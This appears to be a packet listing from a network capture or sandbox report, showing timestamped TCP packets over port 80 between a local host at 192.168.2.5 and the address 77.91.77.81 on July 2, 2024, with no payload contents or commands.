Jul 2, 2024 04:12:14.182359934 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182377100 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182379007 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182391882 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182404995 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182432890 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182640076 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182662010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182673931 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182682991 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182710886 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182746887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182756901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182775021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182782888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182795048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182806969 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182810068 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182825089 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182831049 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182840109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182848930 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182854891 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182867050 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182877064 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182887077 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182899952 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182900906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182920933 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182923079 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182934046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182939053 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182950974 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182952881 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182964087 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182969093 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182985067 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183001041 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183001995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183017015 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183027029 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183032990 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183043957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183048964 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183065891 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183068991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183080912 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183088064 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183100939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183104038 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183118105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183120012 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183131933 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183134079 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183149099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183165073 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183203936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183223963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183238029 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183239937 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183254004 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183259010 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183271885 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183274984 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183283091 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183284998 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183296919 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183305979 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183312893 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183320045 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183336020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183339119 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183355093 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183356047 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183372021 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183444023 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183454990 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183469057 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183474064 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183478117 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183486938 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.183501959 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.183521032 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.198781013 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.198791981 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.198810101 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.198822021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.198837042 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.198843956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.198849916 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.198863029 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.198868036 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.198880911 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.198894024 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.198894024 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.198909998 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.198929071 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.198939085 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199037075 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199048042 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199064016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199074030 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199075937 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199090958 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199090958 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199105024 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199106932 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199117899 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199131966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199136019 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199150085 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199161053 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199173927 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199198961 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199317932 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199328899 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199347019 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199352980 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199357033 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199369907 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199373960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199384928 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199385881 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199400902 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199412107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199413061 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199426889 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199429035 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199439049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.199453115 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.199470043 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.214806080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.214840889 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.214855909 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.214871883 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.214894056 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.214900970 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.214906931 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.214925051 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.214931011 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.214941978 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.214951992 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.214961052 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.214967966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.214972973 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.214994907 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.215018988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.215186119 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.215198040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.215214968 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.215225935 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.215238094 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.215249062 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.215275049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.215286016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.215302944 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.215306044 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.215315104 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.215322018 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.215336084 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.215354919 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248172045 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248217106 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248260975 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248271942 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248294115 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248296976 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248303890 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248312950 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248321056 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248325109 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248331070 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248342991 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248354912 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248354912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248363972 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248380899 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248382092 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248392105 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248394012 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248409033 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248423100 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248424053 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248437881 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248440981 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248452902 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.248461962 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248478889 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.248497009 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.277216911 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277230978 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277249098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277298927 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.277318954 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277328968 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277329922 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.277345896 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277354956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.277370930 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.277389050 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.277429104 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277439117 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277462959 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.277473927 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.277559996 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277569056 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277600050 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.277669907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.277704954 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278273106 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278290033 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278302908 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278316021 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278331995 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278351068 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278388023 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278398037 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278415918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278422117 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278434038 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278443098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278453112 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278455019 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278485060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278537035 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278548002 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278564930 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278573990 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278584003 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278594017 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278604031 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278630018 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278764963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278774023 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278789043 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278798103 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278803110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278817892 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.278820038 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278836012 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.278852940 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279073000 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279082060 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279088020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279119968 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279212952 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279222965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279247046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279249907 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279258013 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279259920 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279279947 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279283047 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279290915 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279293060 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279311895 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279316902 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279323101 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279331923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279351950 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279361010 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279421091 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279431105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279458046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279467106 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279470921 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279486895 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279489040 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279510975 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279525995 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279567003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279576063 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279592991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279601097 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279604912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279620886 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279622078 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279639006 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279639959 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279650927 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279655933 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279669046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279670954 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279687881 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279705048 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279706955 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279731989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279737949 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279742956 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279761076 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279777050 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279778957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279808998 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279815912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279844999 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.279958010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279967070 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279983997 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.279987097 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280003071 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280018091 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280024052 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280054092 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280333996 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280344963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280363083 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280379057 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280406952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280456066 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280467987 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280489922 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280503035 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280509949 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280509949 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280523062 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280534029 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280725002 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280770063 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280780077 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280812025 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280833006 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280867100 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.280935049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280946016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.280975103 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281078100 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281090975 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281106949 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281121969 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281137943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281137943 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281152010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281162977 CEST	49705	80	192.168.2.5	77.91.77.81
